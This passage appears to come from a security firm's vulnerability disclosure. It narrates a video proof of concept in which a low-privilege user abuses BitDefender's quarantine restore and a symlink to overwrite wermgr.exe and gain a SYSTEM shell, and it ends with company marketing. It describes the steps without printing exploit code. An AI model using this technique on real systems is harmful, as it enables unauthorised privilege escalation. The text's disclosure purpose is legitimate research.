The BitDefender, running as NT AUTHORITY\SYSTEM, will follow the symlink and will overwrite the file c:\windows\system32\wermgr.exe .
The c:\windows\system32\wermgr.exe will have a new DACL, which gives your user full access. You can overwrite the file with anything you wish.
Video PoC Step By Step
The exploit takes 2 arguments. The second argument is the file we want to overwrite. The first argument, is the file with which we want to overwrite it. As for example the execution:
will overwrite the file c:\windows\system32\wermgr.exe with the file C:\users\attacker\Desktop\1.exe .
The 1.exe is irrelevant to the exploitation. You can choose any file you wish and you can override any file you like. the 1.exe will just execute the cmd.exe to the current user’s session. For example you can execute
and you will overwrite the c:\windows\system32\wermgr.exe with the file C:\users\attacker\Desktop\test.txt
00:00 – 00:56: I present the environment. The low privilege user, the windows version, the BitDefender version and the DACL of the file c:\windows\system32\wermgr.exe . As we can see the user attacker has limited access to the file.
00:56 – 01:54: We run the exploit and the first thing we have to do is to add as an exception the file we target. In this case the file c:\windows\system32\wermgr.exe
01:54 – 02:48: After we add the exception, we go back to the exploit and we press ENTER. After the ENTER button is pressed, the exploit should print three lines which inform us about the AV. At this point, the exploit has created the EICAR file under the C:\Users\Public\Music\ folder. We go to this folder and we scan the file. We opt to move it to the Quarantine. Until this point, there is no reason for the exploit to fail. It just creates the EICAR file. If you do not see the three lines which are presented in the video and inform you about the AV, ensure you have pressed the ENTER a few times.
02:48 – 03:49: At this point the exploit checks that the EICAR file has been removed. In 30″ more or less you should see the message “I go for a coffee. Give me a sec.” . If for some reason you don’t see the message after a few seconds, press ENTER a few times inside the Exploit window. After this message, the Exploit renames the folder C:\Users\Public\Music to C:\Users\Public\Music2 and there is a sleep for 50″ . If you don’t see the second message “I am back. Oh no the bell. BRB.” after 50″ – 60″ just press ENTER again in the exploit window.
03:49 – 04:00: After the message “I am back. Oh no the bell. BRB.” the exploit creates the Symlink. It will create the symlink C:\Users\Public\Music\RESTORE_ME__* * *.txt which targets the c:\windows\system32\wermgr.exe . Then the exploit instructs us to restore the file.
04:00 – 04:20: We go back to the BitDefender and we restore the file. As we observe, we have to press the restore button two times. The BitDefender will restore the eicar file and will overwrite the c:\windows\system32\wermgr.exe . The c:\windows\system32\wermgr.exe will have a new DACL which allows us to overwrite it. The exploit will overwrite the c:\windows\system32\wermgr.exe with our binary “1.exe” . At this point the exploit should terminate in a few seconds. If you observe a delay on the exploit, press ENTER a few times.
04:20 – end: This is irrelevant with the BitDefender issue. This is just a way to trigger the execution of the file c:\windows\system32\wermgr.exe (which is now the 1.exe) as SYSTEM and gain a shell as NT AUTHORITY\SYSTEM . As we can see the c:\windows\system32\wermgr.exe has been ovewritten by the 1.exe and the new DACL gives the “attacker” full access over the file.
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
